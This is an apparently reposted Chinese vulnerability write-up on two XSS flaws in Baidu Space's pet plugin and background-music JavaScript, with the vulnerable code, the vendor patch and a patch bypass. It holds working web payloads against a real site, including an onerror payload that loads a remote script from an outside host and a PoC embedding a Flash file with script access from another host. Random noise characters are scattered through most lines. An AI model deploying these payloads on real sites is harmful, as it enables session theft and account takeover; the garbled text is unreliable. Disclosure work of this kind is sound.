百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
1 ?4 k" E- g; p" @8 d3 l3 L; O3 k% E+ [7 j, F( ^4 z
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 5 f2 ~. R: B# T |7 i+ V. b; B4 [( b
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
P2 Z1 j2 X' ^# l$ O! A1 o& E+ L4 M2 k Y" J) @
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
* O; S4 O& d/ p3 p3 J. D其中BdUtil.insertWBR为
2 |( T5 w0 e/ Z2 l6 Afunction(text, step) {
% N1 c( H B7 w/ L. R4 M; T var textarea = textAreaCache || getContainer();
* M" X2 _, Z6 u7 u& p# t if (!textarea) { X C$ |! J' S7 M# n2 e: C( q' H, l
return text;
& m, Q8 N+ H4 h$ e4 L0 B; ` } 4 G7 U) t x* u! E) v3 s7 ?
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
D a2 G9 T! M: `5 A$ r! C" D var string = textarea.value; + R' ]5 B# I$ W9 c+ ^! ?4 d
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
5 s3 a# i, V1 p+ I0 d3 n var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ' l1 K# p* B8 {3 D6 h, ?
return result;
+ W- X e2 v! F" U* o} - e3 i; J2 [) G- @
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. & _3 q; ]6 t0 J7 d% U0 U
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
% Y0 F6 p1 N! m/ P; k& F' q
, B* O! N% E1 H2 Z2 F0 u/ H; m二:creatbgmusic() Dom-Xss Bug
, W, h: l, J( P; {百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 + i! I' l9 ~; L5 d4 R! P
6 {) w' w* R2 A3 O在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: - A* j( H _+ q: X
7 s; L8 Q) C% f! H8 e- Y4 Dfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
! h; \/ }2 K: W$ l //传入的murl赋值到bgmusic1和bgmusic2中
' v' x$ D- j9 y% r# N+ n" C //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
( h9 W* @1 R* I var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 f$ A% Y7 J; @2 Q if (musicnum <= 1) {
& f, o( ^: x0 {# V bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 8 q+ K5 ?9 Q! |
} & w6 V/ h$ h" C% M ^4 O' }
bgmusic1 += "</OBJECT>";
& l9 ?7 F6 g: z- N8 ~2 p. |- J/ O var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
0 ?' f" [0 Q, s/ H8 U+ T if (musicnum <= 1) {
$ C8 V1 H+ p9 y$ \( d bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
# h+ W. s6 {. B$ o$ ~1 r }
% l& k9 S/ h1 B( l/ H6 @3 A bgmusic2 += "> </EMBED>";
' {% Y. _. l8 T% i" |/ ^ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; * S2 U6 Z0 K' y8 _
var bgmus = detectWMP();
9 D3 w; Y c8 z) C if (functype == "FckMusicHelper") { + r0 |5 ^) W5 W" d/ Z2 U
if (bgmus.installed) { $ b7 N; j3 O; p" Q( h9 Z
if (bgmus.type == "IE") { & m- S/ B x- i+ U- ^: R' k
return bgmusic1;
) T4 b6 u; r+ w } else if (bgmus.type == "NS") {
; A+ l. ?& H v* Q" k, N! t6 b return bgmusic2;
6 r g8 Z N+ i% n- ^7 H: K$ i9 t } ( U$ [8 y0 q Y+ Y C9 ~- I
} else { 9 s5 C# w# j) r) W; [
return bgmusic3;
/ P& ]* a4 U& z, T" k& X } p3 S5 R6 ]& m6 u- y
} else {
, M& c* X1 n5 L2 j: ~- O if (bgmus.installed) { ; L8 ]% v# a- p# j
//document.write 直接输出bgmusic变量 导致xss / T" `5 q0 t& a* n/ f# a% E
if (bgmus.type == "IE") { + h; z: d" R D
document.write(bgmusic1); & x/ t& }) D' A2 O3 G
} else if (bgmus.type == "NS") {
5 t0 B- }, k6 F2 T! F n! N& f6 n document.write(bgmusic2);
+ q/ G N) H4 _4 o) B' ]' p }
. b I& a1 w; z } else {
( j6 m) S4 e6 _, h document.write(bgmusic3);
! @: _; y; d9 ^) S/ K0 @ } " i H2 o1 L( L }
return ""; & w* [3 h* a1 i; d
}
- I7 Z4 K8 ^" q% i, L} ; ?9 @3 X% {) L5 z4 c8 L8 ], g
, U8 A3 k0 V9 x9 H# K9 R在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: & I% m. y% i. x l* J8 e9 {
8 g5 X3 c* e0 h2 }function initBlogTextForFCK(){
, D* q9 e5 U1 o//fck init music 1 H) }8 z# u3 P$ c% b0 m& Q' o! ?
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ) z2 t1 d l# C- r; \! V; e( o
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
* r$ P) b0 l4 c- avar isAutoPlay=true;
0 {, K) c* F+ c) ~7 ~, u" Kfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. $ R" @/ Q$ z1 q. |. _
var img=imgBox; . r1 {( o7 L) U. X2 _. [
if(img.getAttribute(’rel’)){ 9 I1 b1 V6 h! S& q5 T# D
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
5 V8 h7 B& y Z5 g* I, \; R0 Y; T var musicDiv = document.createElement("SPAN"); 1 J$ \3 j5 B( `- N) X1 L- j/ }
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
4 ~1 c6 O2 s# n) S* b, G' r3 ^# }% f - Y0 M! _1 u9 N+ s j& t5 Q
.......................... 7 e4 z4 _3 ~+ a) N3 X
% m: x& l1 [ O //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. 7 E2 V; M6 n4 i0 q# K% C: X
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); # A% \8 k: p' o1 F: }5 D
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); + s1 b/ s |1 @' t, H
musicDiv.innerHTML=shtml; 8 w4 S$ @ p9 R/ a
i--;n--;
5 F3 K f& u1 X0 j7 P4 ` } 5 Y. ~8 f: ?, t: ?
} 5 i' n+ n$ x k* O
" P* ]2 a" V! d \, K5 F9 b
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
9 Z7 g% U9 G9 X! W+ ~ ) H+ w/ V- p7 L
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
( l9 c9 C% W% I$ }, W! v7 a* T* n {' N4 l
等待官方补丁
3 |5 j4 ~6 `) }3 @+ c9 m4 o2 i$ x2 _6 C. X4 n- M* O
update 2010年5月13日
]6 H3 r& f' K+ L1 g% K# E0 P
' p' Z! O+ O, N# O/ Q官方补丁:
( s- z9 Y1 K( [% c1 [% A; P9 V) J$ E, y4 u/ ?' w" y: m u) h
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
. r, B5 `6 t* n- a* z改为:
4 C$ n+ s3 r$ G/ v. j6 gvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); % v7 W. R9 a0 T- u7 W
# F3 N: e) A1 ]& i! r9 p% @2 {4 ]
update 2010年5月13日 21:50:37
. M2 g! a( {/ h5 B" \$ r3 g
% w, s0 ]* s3 X5 |/ Q3 \补丁存在漏洞 没有过滤" 可以继续跨: 9 l( w( L. q( C/ B
$ p5 g, B9 ^/ P! ]* G: B% ~
NEW POC:
8 x0 y3 Y& A2 X1 x/ j5 Y0 a1 U: u+ Z3 i& k0 i2 u. i! K/ [
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
* ?0 i, d8 q- w2 _& J
4 p5 P+ C5 _- Jallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>) D2 y/ p$ Y6 F7 B/ C
! B6 r3 N2 L2 }* N/ W: z5 S |